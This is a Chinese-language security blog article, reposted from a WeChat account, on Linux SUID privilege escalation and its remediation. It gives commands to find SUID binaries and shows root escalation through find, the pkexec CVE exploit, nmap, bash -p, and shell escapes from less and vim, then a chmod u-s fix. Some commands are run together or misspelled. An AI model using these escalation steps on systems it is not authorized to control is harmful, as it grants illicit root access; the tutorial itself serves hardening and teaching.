权限提升 | suid提权及修复方式

admin 2022年11月16日11:21:44评论56 views字数 1373阅读4分34秒阅读模式

通常Linux系统文件及目录最常见的三种权限为:可读权限(r),可写权限(w)和可执行权限(w)。有时我们会发现有些文件或者目录的所属主的权限会带s标识。当s这个标志出现在文件所有者的x权限上时,如/usr/bin/passwd文件的权限状态:“-rwsr-xr-x.”,此时就被称为Set UID,简称为SUID权限。此时,如果该文件的属主权限为root,并能够执行命令操作,攻击者便可以root身份进行操作Linux系统。常见导致SUID提权的可执行程序包含:Nmap、vim、find、bash、more、less、nano、pkexec等,当查询这些可执行程序具有SUID权限时,可进一步排查是否存在权限提升安全问题,并对存在安全的程序进行修复和加固。

接下来,本节将利用find命令,查询Linux系统中具有SUID权限的文件

find / -perm -u=s -type f 2>/dev/nullfind / -perm -g=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/nullfind / -user root -perm -4000 -exec ls -l db {};
/ 表示从文件系统的顶部(根)开始并找到每个目录-perm 表示搜索随后的权限-u=s 表示查找root用户拥有的文件-type表示我们正在寻找的文件类型f 表示常规文件,而不是目录或特殊文件2 表示该进程的第二个文件描述符,即stderr(标准错误)> 表示重定向/dev/null 是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

权限提升 | suid提权及修复方式

通过指令查询,可以看到find和pkexec具有SUID权限,接下来测试find和pkexec可行性程序是否能够提权成功,通过find指令进行操作使普通用户变成了root权限执行系统指令:

/usr/bin/find -name 123.ico -exec whoami ;

权限提升 | suid提权及修复方式

polkit的 pkexec (pkexec ≤ 0.120版本时)存在特权提升的安全问题。该漏洞允许任何非特权用户通过在Linux默认配置中利用此漏洞获得root权限。执行过程如图3-1-20所示,通过exp文件进行操作使普通用户变成了root权限执行系统指令。

make./cve-202104034

权限提升 | suid提权及修复方式

下面列举了一些其他的软件导致suid提权的方式:

(1)nmap

nmap --interactive #启动交互模式

权限提升 | suid提权及修复方式

权限提升 | suid提权及修复方式

(2)bash

bash -p bash-3.2# id

权限提升 | suid提权及修复方式

(3)more/less

less /etc/passwd !/bin/sh

权限提升 | suid提权及修复方式

(4)vim

vim.tiny /etc/shadow

权限提升 | suid提权及修复方式

# Press ESC key:set shell=/bin/sh  #回车:shell

权限提升 | suid提权及修复方式

对于存在suid权限的可执行程序中,如果导致权限提升安全威胁,可通过修改可执行程序权限的方式或更新软件进行打补丁的方式修复suid权限文件导致的安全问题,可以修改suid可执行文件权限的修复过程。

chmod u-s /usr/bin/findfind / -perm -u=s -type f 2>/dev/nulltouch test/uer/bin/find -name test -exec whoami ;

权限提升 | suid提权及修复方式

权限提升 | suid提权及修复方式

原文始发于微信公众号(betasec):权限提升 | suid提权及修复方式

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月16日11:21:44
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   权限提升 | suid提权及修复方式https://cn-sec.com/archives/1412667.html

发表评论

匿名网友 填写信息